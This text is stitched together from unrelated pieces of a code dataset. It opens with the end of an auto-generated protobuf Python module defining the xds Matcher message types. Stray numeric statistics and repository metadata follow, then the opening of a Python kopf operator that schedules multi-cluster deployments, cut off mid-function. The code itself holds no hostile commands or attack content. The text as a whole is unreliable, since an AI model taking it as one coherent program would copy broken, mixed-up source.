full_name='xds.type.matcher.v3.Matcher.MatcherList.Predicate.and_matcher', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='not_matcher', full_name='xds.type.matcher.v3.Matcher.MatcherList.Predicate.not_matcher', index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[_MATCHER_MATCHERLIST_PREDICATE_SINGLEPREDICATE, _MATCHER_MATCHERLIST_PREDICATE_PREDICATELIST, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ _descriptor.OneofDescriptor( name='match_type', full_name='xds.type.matcher.v3.Matcher.MatcherList.Predicate.match_type', index=0, containing_type=None, create_key=_descriptor._internal_create_key, fields=[], serialized_options=b'\370B\001'), ], serialized_start=613, serialized_end=1303, ) _MATCHER_MATCHERLIST_FIELDMATCHER = _descriptor.Descriptor( name='FieldMatcher', full_name='xds.type.matcher.v3.Matcher.MatcherList.FieldMatcher', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='predicate', full_name='xds.type.matcher.v3.Matcher.MatcherList.FieldMatcher.predicate', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=b'\372B\005\212\001\002\020\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='on_match', full_name='xds.type.matcher.v3.Matcher.MatcherList.FieldMatcher.on_match', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=b'\372B\005\212\001\002\020\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1306, serialized_end=1467, ) _MATCHER_MATCHERLIST = _descriptor.Descriptor( name='MatcherList', full_name='xds.type.matcher.v3.Matcher.MatcherList', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='matchers', full_name='xds.type.matcher.v3.Matcher.MatcherList.matchers', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=b'\372B\005\222\001\002\010\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[_MATCHER_MATCHERLIST_PREDICATE, _MATCHER_MATCHERLIST_FIELDMATCHER, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=514, serialized_end=1467, ) _MATCHER_MATCHERTREE_MATCHMAP_MAPENTRY = _descriptor.Descriptor( name='MapEntry', full_name='xds.type.matcher.v3.Matcher.MatcherTree.MatchMap.MapEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='xds.type.matcher.v3.Matcher.MatcherTree.MatchMap.MapEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='xds.type.matcher.v3.Matcher.MatcherTree.MatchMap.MapEntry.value', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1857, serialized_end=1937, ) _MATCHER_MATCHERTREE_MATCHMAP = _descriptor.Descriptor( name='MatchMap', full_name='xds.type.matcher.v3.Matcher.MatcherTree.MatchMap', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='map', full_name='xds.type.matcher.v3.Matcher.MatcherTree.MatchMap.map', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=b'\372B\005\232\001\002\010\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[_MATCHER_MATCHERTREE_MATCHMAP_MAPENTRY, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1762, serialized_end=1937, ) _MATCHER_MATCHERTREE = _descriptor.Descriptor( name='MatcherTree', full_name='xds.type.matcher.v3.Matcher.MatcherTree', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='input', full_name='xds.type.matcher.v3.Matcher.MatcherTree.input', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=b'\372B\005\212\001\002\020\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='exact_match_map', full_name='xds.type.matcher.v3.Matcher.MatcherTree.exact_match_map', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='prefix_match_map', full_name='xds.type.matcher.v3.Matcher.MatcherTree.prefix_match_map', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='custom_match', full_name='xds.type.matcher.v3.Matcher.MatcherTree.custom_match', index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[_MATCHER_MATCHERTREE_MATCHMAP, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ _descriptor.OneofDescriptor( name='tree_type', full_name='xds.type.matcher.v3.Matcher.MatcherTree.tree_type', index=0, containing_type=None, create_key=_descriptor._internal_create_key, fields=[], serialized_options=b'\370B\001'), ], serialized_start=1470, serialized_end=1955, ) _MATCHER = _descriptor.Descriptor( name='Matcher', full_name='xds.type.matcher.v3.Matcher', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='matcher_list', full_name='xds.type.matcher.v3.Matcher.matcher_list', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='matcher_tree', full_name='xds.type.matcher.v3.Matcher.matcher_tree', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='on_no_match', full_name='xds.type.matcher.v3.Matcher.on_no_match', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[_MATCHER_ONMATCH, _MATCHER_MATCHERLIST, _MATCHER_MATCHERTREE, ], enum_types=[ ], serialized_options=b'\322\306\244\341\006\002\010\001', is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ _descriptor.OneofDescriptor( name='matcher_type', full_name='xds.type.matcher.v3.Matcher.matcher_type', index=0, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), ], serialized_start=180, serialized_end=1981, ) _MATCHER_ONMATCH.fields_by_name['matcher'].message_type = _MATCHER _MATCHER_ONMATCH.fields_by_name['action'].message_type = xds_dot_core_dot_v3_dot_extension__pb2._TYPEDEXTENSIONCONFIG _MATCHER_ONMATCH.containing_type = _MATCHER _MATCHER_ONMATCH.oneofs_by_name['on_match'].fields.append( _MATCHER_ONMATCH.fields_by_name['matcher']) _MATCHER_ONMATCH.fields_by_name['matcher'].containing_oneof = _MATCHER_ONMATCH.oneofs_by_name['on_match'] _MATCHER_ONMATCH.oneofs_by_name['on_match'].fields.append( _MATCHER_ONMATCH.fields_by_name['action']) _MATCHER_ONMATCH.fields_by_name['action'].containing_oneof = _MATCHER_ONMATCH.oneofs_by_name['on_match'] _MATCHER_MATCHERLIST_PREDICATE_SINGLEPREDICATE.fields_by_name['input'].message_type = xds_dot_core_dot_v3_dot_extension__pb2._TYPEDEXTENSIONCONFIG _MATCHER_MATCHERLIST_PREDICATE_SINGLEPREDICATE.fields_by_name['value_match'].message_type = xds_dot_type_dot_matcher_dot_v3_dot_string__pb2._STRINGMATCHER _MATCHER_MATCHERLIST_PREDICATE_SINGLEPREDICATE.fields_by_name['custom_match'].message_type = xds_dot_core_dot_v3_dot_extension__pb2._TYPEDEXTENSIONCONFIG _MATCHER_MATCHERLIST_PREDICATE_SINGLEPREDICATE.containing_type = _MATCHER_MATCHERLIST_PREDICATE _MATCHER_MATCHERLIST_PREDICATE_SINGLEPREDICATE.oneofs_by_name['matcher'].fields.append( _MATCHER_MATCHERLIST_PREDICATE_SINGLEPREDICATE.fields_by_name['value_match']) _MATCHER_MATCHERLIST_PREDICATE_SINGLEPREDICATE.fields_by_name['value_match'].containing_oneof = _MATCHER_MATCHERLIST_PREDICATE_SINGLEPREDICATE.oneofs_by_name['matcher'] _MATCHER_MATCHERLIST_PREDICATE_SINGLEPREDICATE.oneofs_by_name['matcher'].fields.append( _MATCHER_MATCHERLIST_PREDICATE_SINGLEPREDICATE.fields_by_name['custom_match']) _MATCHER_MATCHERLIST_PREDICATE_SINGLEPREDICATE.fields_by_name['custom_match'].containing_oneof = _MATCHER_MATCHERLIST_PREDICATE_SINGLEPREDICATE.oneofs_by_name['matcher'] _MATCHER_MATCHERLIST_PREDICATE_PREDICATELIST.fields_by_name['predicate'].message_type = _MATCHER_MATCHERLIST_PREDICATE _MATCHER_MATCHERLIST_PREDICATE_PREDICATELIST.containing_type = _MATCHER_MATCHERLIST_PREDICATE _MATCHER_MATCHERLIST_PREDICATE.fields_by_name['single_predicate'].message_type = _MATCHER_MATCHERLIST_PREDICATE_SINGLEPREDICATE _MATCHER_MATCHERLIST_PREDICATE.fields_by_name['or_matcher'].message_type = _MATCHER_MATCHERLIST_PREDICATE_PREDICATELIST _MATCHER_MATCHERLIST_PREDICATE.fields_by_name['and_matcher'].message_type = _MATCHER_MATCHERLIST_PREDICATE_PREDICATELIST _MATCHER_MATCHERLIST_PREDICATE.fields_by_name['not_matcher'].message_type = _MATCHER_MATCHERLIST_PREDICATE _MATCHER_MATCHERLIST_PREDICATE.containing_type = _MATCHER_MATCHERLIST _MATCHER_MATCHERLIST_PREDICATE.oneofs_by_name['match_type'].fields.append( _MATCHER_MATCHERLIST_PREDICATE.fields_by_name['single_predicate']) _MATCHER_MATCHERLIST_PREDICATE.fields_by_name['single_predicate'].containing_oneof = _MATCHER_MATCHERLIST_PREDICATE.oneofs_by_name['match_type'] _MATCHER_MATCHERLIST_PREDICATE.oneofs_by_name['match_type'].fields.append( _MATCHER_MATCHERLIST_PREDICATE.fields_by_name['or_matcher']) _MATCHER_MATCHERLIST_PREDICATE.fields_by_name['or_matcher'].containing_oneof = _MATCHER_MATCHERLIST_PREDICATE.oneofs_by_name['match_type'] _MATCHER_MATCHERLIST_PREDICATE.oneofs_by_name['match_type'].fields.append( _MATCHER_MATCHERLIST_PREDICATE.fields_by_name['and_matcher']) _MATCHER_MATCHERLIST_PREDICATE.fields_by_name['and_matcher'].containing_oneof = _MATCHER_MATCHERLIST_PREDICATE.oneofs_by_name['match_type'] _MATCHER_MATCHERLIST_PREDICATE.oneofs_by_name['match_type'].fields.append( _MATCHER_MATCHERLIST_PREDICATE.fields_by_name['not_matcher']) _MATCHER_MATCHERLIST_PREDICATE.fields_by_name['not_matcher'].containing_oneof = _MATCHER_MATCHERLIST_PREDICATE.oneofs_by_name['match_type'] _MATCHER_MATCHERLIST_FIELDMATCHER.fields_by_name['predicate'].message_type = _MATCHER_MATCHERLIST_PREDICATE _MATCHER_MATCHERLIST_FIELDMATCHER.fields_by_name['on_match'].message_type = _MATCHER_ONMATCH _MATCHER_MATCHERLIST_FIELDMATCHER.containing_type = _MATCHER_MATCHERLIST _MATCHER_MATCHERLIST.fields_by_name['matchers'].message_type = _MATCHER_MATCHERLIST_FIELDMATCHER _MATCHER_MATCHERLIST.containing_type = _MATCHER _MATCHER_MATCHERTREE_MATCHMAP_MAPENTRY.fields_by_name['value'].message_type = _MATCHER_ONMATCH _MATCHER_MATCHERTREE_MATCHMAP_MAPENTRY.containing_type = _MATCHER_MATCHERTREE_MATCHMAP _MATCHER_MATCHERTREE_MATCHMAP.fields_by_name['map'].message_type = _MATCHER_MATCHERTREE_MATCHMAP_MAPENTRY _MATCHER_MATCHERTREE_MATCHMAP.containing_type = _MATCHER_MATCHERTREE _MATCHER_MATCHERTREE.fields_by_name['input'].message_type = xds_dot_core_dot_v3_dot_extension__pb2._TYPEDEXTENSIONCONFIG _MATCHER_MATCHERTREE.fields_by_name['exact_match_map'].message_type = _MATCHER_MATCHERTREE_MATCHMAP _MATCHER_MATCHERTREE.fields_by_name['prefix_match_map'].message_type = _MATCHER_MATCHERTREE_MATCHMAP _MATCHER_MATCHERTREE.fields_by_name['custom_match'].message_type = xds_dot_core_dot_v3_dot_extension__pb2._TYPEDEXTENSIONCONFIG _MATCHER_MATCHERTREE.containing_type = _MATCHER _MATCHER_MATCHERTREE.oneofs_by_name['tree_type'].fields.append( _MATCHER_MATCHERTREE.fields_by_name['exact_match_map']) _MATCHER_MATCHERTREE.fields_by_name['exact_match_map'].containing_oneof = _MATCHER_MATCHERTREE.oneofs_by_name['tree_type'] _MATCHER_MATCHERTREE.oneofs_by_name['tree_type'].fields.append( _MATCHER_MATCHERTREE.fields_by_name['prefix_match_map']) _MATCHER_MATCHERTREE.fields_by_name['prefix_match_map'].containing_oneof = _MATCHER_MATCHERTREE.oneofs_by_name['tree_type'] _MATCHER_MATCHERTREE.oneofs_by_name['tree_type'].fields.append( _MATCHER_MATCHERTREE.fields_by_name['custom_match']) _MATCHER_MATCHERTREE.fields_by_name['custom_match'].containing_oneof = _MATCHER_MATCHERTREE.oneofs_by_name['tree_type'] _MATCHER.fields_by_name['matcher_list'].message_type = _MATCHER_MATCHERLIST _MATCHER.fields_by_name['matcher_tree'].message_type = _MATCHER_MATCHERTREE _MATCHER.fields_by_name['on_no_match'].message_type = _MATCHER_ONMATCH _MATCHER.oneofs_by_name['matcher_type'].fields.append( _MATCHER.fields_by_name['matcher_list']) _MATCHER.fields_by_name['matcher_list'].containing_oneof = _MATCHER.oneofs_by_name['matcher_type'] _MATCHER.oneofs_by_name['matcher_type'].fields.append( _MATCHER.fields_by_name['matcher_tree']) _MATCHER.fields_by_name['matcher_tree'].containing_oneof = _MATCHER.oneofs_by_name['matcher_type'] DESCRIPTOR.message_types_by_name['Matcher'] = _MATCHER _sym_db.RegisterFileDescriptor(DESCRIPTOR) Matcher = _reflection.GeneratedProtocolMessageType('Matcher', (_message.Message,), { 'OnMatch' : _reflection.GeneratedProtocolMessageType('OnMatch', (_message.Message,), { 'DESCRIPTOR' : _MATCHER_ONMATCH, '__module__' : 'xds.type.matcher.v3.matcher_pb2' # @@protoc_insertion_point(class_scope:xds.type.matcher.v3.Matcher.OnMatch) }) , 'MatcherList' : _reflection.GeneratedProtocolMessageType('MatcherList', (_message.Message,), { 'Predicate' : _reflection.GeneratedProtocolMessageType('Predicate', (_message.Message,), { 'SinglePredicate' : _reflection.GeneratedProtocolMessageType('SinglePredicate', (_message.Message,), { 'DESCRIPTOR' : _MATCHER_MATCHERLIST_PREDICATE_SINGLEPREDICATE, '__module__' : 'xds.type.matcher.v3.matcher_pb2' # @@protoc_insertion_point(class_scope:xds.type.matcher.v3.Matcher.MatcherList.Predicate.SinglePredicate) }) , 'PredicateList' : _reflection.GeneratedProtocolMessageType('PredicateList', (_message.Message,), { 'DESCRIPTOR' : _MATCHER_MATCHERLIST_PREDICATE_PREDICATELIST, '__module__' : 'xds.type.matcher.v3.matcher_pb2' # @@protoc_insertion_point(class_scope:xds.type.matcher.v3.Matcher.MatcherList.Predicate.PredicateList) }) , 'DESCRIPTOR' : _MATCHER_MATCHERLIST_PREDICATE, '__module__' : 'xds.type.matcher.v3.matcher_pb2' # @@protoc_insertion_point(class_scope:xds.type.matcher.v3.Matcher.MatcherList.Predicate) }) , 'FieldMatcher' : _reflection.GeneratedProtocolMessageType('FieldMatcher', (_message.Message,), { 'DESCRIPTOR' : _MATCHER_MATCHERLIST_FIELDMATCHER, '__module__' : 'xds.type.matcher.v3.matcher_pb2' # @@protoc_insertion_point(class_scope:xds.type.matcher.v3.Matcher.MatcherList.FieldMatcher) }) , 'DESCRIPTOR' : _MATCHER_MATCHERLIST, '__module__' : 'xds.type.matcher.v3.matcher_pb2' # @@protoc_insertion_point(class_scope:xds.type.matcher.v3.Matcher.MatcherList) }) , 'MatcherTree' : _reflection.GeneratedProtocolMessageType('MatcherTree', (_message.Message,), { 'MatchMap' : _reflection.GeneratedProtocolMessageType('MatchMap', (_message.Message,), { 'MapEntry' : _reflection.GeneratedProtocolMessageType('MapEntry', (_message.Message,), { 'DESCRIPTOR' : _MATCHER_MATCHERTREE_MATCHMAP_MAPENTRY, '__module__' : 'xds.type.matcher.v3.matcher_pb2' # @@protoc_insertion_point(class_scope:xds.type.matcher.v3.Matcher.MatcherTree.MatchMap.MapEntry) }) , 'DESCRIPTOR' : _MATCHER_MATCHERTREE_MATCHMAP, '__module__' : 'xds.type.matcher.v3.matcher_pb2' # @@protoc_insertion_point(class_scope:xds.type.matcher.v3.Matcher.MatcherTree.MatchMap) }) , 'DESCRIPTOR' : _MATCHER_MATCHERTREE, '__module__' : 'xds.type.matcher.v3.matcher_pb2' # @@protoc_insertion_point(class_scope:xds.type.matcher.v3.Matcher.MatcherTree) }) , 'DESCRIPTOR' : _MATCHER, '__module__' : 'xds.type.matcher.v3.matcher_pb2' # @@protoc_insertion_point(class_scope:xds.type.matcher.v3.Matcher) }) _sym_db.RegisterMessage(Matcher) _sym_db.RegisterMessage(Matcher.OnMatch) _sym_db.RegisterMessage(Matcher.MatcherList) _sym_db.RegisterMessage(Matcher.MatcherList.Predicate) _sym_db.RegisterMessage(Matcher.MatcherList.Predicate.SinglePredicate) _sym_db.RegisterMessage(Matcher.MatcherList.Predicate.PredicateList) _sym_db.RegisterMessage(Matcher.MatcherList.FieldMatcher) _sym_db.RegisterMessage(Matcher.MatcherTree) _sym_db.RegisterMessage(Matcher.MatcherTree.MatchMap) _sym_db.RegisterMessage(Matcher.MatcherTree.MatchMap.MapEntry) DESCRIPTOR._options = None _MATCHER_ONMATCH.oneofs_by_name['on_match']._options = None _MATCHER_MATCHERLIST_PREDICATE_SINGLEPREDICATE.oneofs_by_name['matcher']._options = None _MATCHER_MATCHERLIST_PREDICATE_SINGLEPREDICATE.fields_by_name['input']._options = None _MATCHER_MATCHERLIST_PREDICATE_PREDICATELIST.fields_by_name['predicate']._options = None _MATCHER_MATCHERLIST_PREDICATE.oneofs_by_name['match_type']._options = None _MATCHER_MATCHERLIST_FIELDMATCHER.fields_by_name['predicate']._options = None _MATCHER_MATCHERLIST_FIELDMATCHER.fields_by_name['on_match']._options = None _MATCHER_MATCHERLIST.fields_by_name['matchers']._options = None _MATCHER_MATCHERTREE_MATCHMAP_MAPENTRY._options = None _MATCHER_MATCHERTREE_MATCHMAP.fields_by_name['map']._options = None _MATCHER_MATCHERTREE.oneofs_by_name['tree_type']._options = None _MATCHER_MATCHERTREE.fields_by_name['input']._options = None _MATCHER._options = None # @@protoc_insertion_point(module_scope)
51.623604
3,191
0.787846
4,188
32,368
5.705587
0.065186
0.054781
0.049801
0.054907
0.831806
0.796443
0.746265
0.728604
0.646495
0.613727
0
0.040726
0.094229
32,368
626
3,192
51.70607
0.774302
0.033675
0
0.611399
1
0.003454
0.244225
0.18792
0
0
0
0
0
1
0
false
0
0.013817
0
0.013817
0
0
0
0
null
0
0
0
1
1
1
1
0
1
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
88a5a9961142e12bedabd7e9972b10869f9957bb
62,540
py
Python
multi-cluster-scheduler/multiclusterscheduler.py
moule3053/mck8s
9555b87c6cfb47c22a3c5f51ebb786587dddd233
[ "Apache-2.0" ]
57
2021-07-05T07:27:56.000Z
2022-02-23T10:56:35.000Z
multi-cluster-scheduler/multiclusterscheduler.py
moule3053/mck8s
9555b87c6cfb47c22a3c5f51ebb786587dddd233
[ "Apache-2.0" ]
4
2021-08-19T08:22:04.000Z
2021-08-19T09:03:29.000Z
multi-cluster-scheduler/multiclusterscheduler.py
moule3053/mck8s
9555b87c6cfb47c22a3c5f51ebb786587dddd233
[ "Apache-2.0" ]
6
2021-07-22T11:31:17.000Z
2021-12-03T21:17:26.000Z
import kopf import yaml, pandas as pd from utils import findPossibleClusters, getFogAppLocations, getCloudCluster, \ createDeployment, createService, deleteDeployment, deleteService, patchDeployment, patchService, createJob, \ deleteJob, patchJob, getMaximumReplicas, findNearestClusters, getAllocatableCapacity, getFogAppClusters, getServiceClusters import json import time # Create multi-cluster deployment @kopf.on.create('fogguru.eu', 'v1', 'multiclusterdeployments') def create_fn(body, spec, patch, **kwargs): # Get info from multiclusterdeployments object fogapp_name = body['metadata']['name'] fogapp_image = spec['template']['spec']['containers'][0]['image'] fogapp_replicas = spec['replicas'] fogapp_cpu_request = int(spec['template']['spec']['containers'][0]['resources']['requests']['cpu'][:-1]) #fogapp_cpu_limit = spec['template']['spec']['containers']['resources']['limits']['cpu'] fogapp_memory_request = int(spec['template']['spec']['containers'][0]['resources']['requests']['memory'][:-2]) #fogapp_memory_limit = spec['template']['spec']['containers']['resources']['limits']['memory'] #fogapp_type = spec['appType'] #fogapp_type = body['kind'] spec_text = str(spec) # Make sure image is provided if not fogapp_image: raise kopf.HandlerFatalError(f"Image must be set. Got {fogapp_image}.") if not fogapp_replicas: raise kopf.HandlerFatalError(f"Number of replicas must be set. Got {fogapp_replicas}.") # Get namespace if 'namespace' in body['metadata']: fogpapp_namespace = body['metadata']['namespace'] else: fogpapp_namespace = "default" # Placement policy specified by user if 'placementPolicy' in spec: placement_policy = spec['placementPolicy'] else: # Default placement policy is most_traffic placement_policy = 'most_traffic' if 'locations' in spec: placement_policy = 'cluster_affinity' print("The provided placement policy is ..........", placement_policy) if 'numberOfLocations' in spec: clusters_qty = spec['numberOfLocations'] else: clusters_qty = 1 eligible_clusters = [] if 'locations' not in spec: mode = 'create' fogapp_locations = getFogAppLocations(fogapp_name, fogpapp_namespace, fogapp_cpu_request, fogapp_memory_request, fogapp_replicas, clusters_qty, placement_policy, mode) total_replicas = clusters_qty * fogapp_replicas if len(fogapp_locations) != 0: eligible_clusters = [] for cluster in fogapp_locations: if cluster['max_replicas'] > fogapp_replicas: cluster['replicas'] = fogapp_replicas cluster['overflow'] = 0 else: cluster['replicas'] = cluster['max_replicas'] cluster['overflow'] = fogapp_replicas - cluster['max_replicas'] total_overflow = 0 for cluster in fogapp_locations[:clusters_qty]: dict = {} dict['name'] = cluster['name'] dict['replicas'] = cluster['replicas'] eligible_clusters.append(dict) total_overflow += cluster['overflow'] print("Total overflow ...........", total_overflow) if total_overflow > 0: for cluster in fogapp_locations[clusters_qty:]: if cluster['max_replicas'] > total_overflow: dict = {} dict['name'] = cluster['name'] dict['replicas'] = total_overflow total_overflow = 0 eligible_clusters.append(dict) break else: dict = {} dict['name'] = cluster['name'] dict['replicas'] = cluster['max_replicas'] total_overflow = total_overflow - dict['replicas'] eligible_clusters.append(dict) if total_overflow > 0: for cluster in eligible_clusters: if 'cloud' in cluster['name']: cluster['replicas'] += total_overflow total_overflow = 0 print("Final list of clusters .................", eligible_clusters) print("Final overflow .................", total_overflow) if total_overflow > 0: dict = {} dict['message'] = 'to_cloud' dict['replicas'] = total_overflow patch.status['message'] = dict raise kopf.TemporaryError("Fog clusters not sufficient to run the app. Provisioning cloud cluster.....................", delay=30) else: dict = {} dict['message'] = 'to_cloud' dict['replicas'] = fogapp_replicas patch.status['message'] = dict raise kopf.TemporaryError( "No clusters found at the fog level. Provisioning cloud cluster.....................", delay=30) else: input_clusters = spec['locations'].split(",") fogapp_locations = [] for location in input_clusters: fogapp_locations.append(location.strip()) print("Input list of cluster ....", fogapp_locations) clusters_qty = len(fogapp_locations) if 'replicaOverrides' in spec: replicas_list = [] override_replicas = {} if isinstance(spec['replicaOverrides'], str): replicas = spec['replicaOverrides'].split(",") for i in replicas: replicas_list.append(i.strip()) elif isinstance(spec['replicaOverrides'], list): replicas_list = spec['replicaOverrides'] print("Replica overrides ............", spec['replicaOverrides']) for i in range(0, len(fogapp_locations)): override_replicas[fogapp_locations[i]] = replicas_list[i] else: override_replicas = {} for i in range(0, len(fogapp_locations)): override_replicas[fogapp_locations[i]] = fogapp_replicas total_replicas = 0 for replica in list(override_replicas.values()): total_replicas += int(replica) print("Total number of replicas .....", total_replicas) fog_only_clusters = [] for cluster in fogapp_locations: if 'cloud' not in cluster: fog_only_clusters.append(cluster) print("Fog only clusters ..............", fog_only_clusters) # Compute cloud replicas cloud_replicas = 0 for cluster in fogapp_locations: if 'cloud' in cluster: cloud_replicas += int(override_replicas[cluster]) if len(fog_only_clusters) > 0: possible_clusters = findPossibleClusters(fog_only_clusters, fogapp_cpu_request, fogapp_memory_request) else: possible_clusters = [] print("Initial possible clusters list ............", possible_clusters) # if node of the fog clusters have the right sized nodes if len(possible_clusters) == 0: eligible_clusters = [] eligible_replicas = [] cloud_cluster = getCloudCluster() if 'cloud' in cloud_cluster: dict = {} dict['name'] = cloud_cluster dict['replicas'] = total_replicas dict['overflow'] = 0 eligible_clusters.append(dict) #eligible_clusters.append(cloud_cluster) #eligible_replicas.append(total_replicas) else: dict = {} dict['message'] = 'to_cloud' dict['replicas'] = total_replicas patch.status['message'] = dict raise kopf.TemporaryError("The application could not be scheduled on the Fog elevel. Need cloud cluster.", delay=30) #print("Initial eligible clusters and replicas 1111", eligible_clusters, eligible_replicas) print("Initial eligible clusters and replicas 1111", eligible_clusters) else: fogapp_locations.sort() possible_clusters.sort() override_replicas_new = {} # Check if possible clusters different from input clusters and assign replicas to possible replicas # Distribute cloud replicas for i in range(0, len(possible_clusters)): if possible_clusters[i] in fogapp_locations: override_replicas_new[possible_clusters[i]] = int(override_replicas[possible_clusters[i]]) + int((cloud_replicas / len(possible_clusters))) else: override_replicas_new[possible_clusters[i]] = int(list(override_replicas.values())[i]) + int((cloud_replicas / len(possible_clusters))) for cluster in possible_clusters: replicas = int(override_replicas_new[cluster]) # is_eligible = checkClusterEligibility(cluster, app_cpu_request, app_memory_request, replicas) # The maximum number of replicas the cluster can host maximum_replicas = getMaximumReplicas(cluster, fogapp_cpu_request, fogapp_memory_request) #maximum_replicas = getAllocatableCapacity(cluster, fogapp_cpu_request, fogapp_memory_request) if maximum_replicas > replicas: dict = {} dict['name'] = cluster dict['max_replicas'] = maximum_replicas dict['replicas'] = replicas dict['overflow'] = 0 eligible_clusters.append(dict) else: dict = {} dict['name'] = cluster dict['max_replicas'] = maximum_replicas dict['replicas'] = maximum_replicas dict['overflow'] = replicas - maximum_replicas eligible_clusters.append(dict) temp_list = [] for cluster in eligible_clusters: temp_list.append(cluster) print("Possible list of clusters and oveflow ....", temp_list) temp_list_2 = [] for cluster in temp_list: temp_list_2.append(cluster['name']) temp_list_3 = list(set(fogapp_locations + temp_list_2)) total_overflow = 0 for cluster in temp_list: total_overflow += cluster['overflow'] maximum_replicas = {} for cluster in temp_list: nearest_clusters = [] overflow = cluster['overflow'] #leftover = overflow print("Overflow from ", cluster, overflow) if overflow > 0: nearest_clusters = findNearestClusters(cluster, temp_list_3) print("List of nearest clusters ....", nearest_clusters) # Distribute overflow to nearest clusters if len(nearest_clusters) > 0: for c in nearest_clusters: # print("Overflow .................", overflow) # if overflow > 0: maximum_replicas[c] = getMaximumReplicas(c, fogapp_cpu_request, fogapp_memory_request) print("Maximum replicas .....", maximum_replicas) for cluster in temp_list: nearest_clusters = [] overflow = cluster['overflow'] if overflow > 0: nearest_clusters = findNearestClusters(cluster, temp_list_3) # else: # break if len(nearest_clusters) > 0: for c in nearest_clusters: if cluster['overflow'] > 0: if maximum_replicas[c] == 0: cluster['overflow'] = cluster['overflow'] #break elif maximum_replicas[c] > cluster['overflow']: dict = {} dict['name'] = c dict['replicas'] = cluster['overflow'] 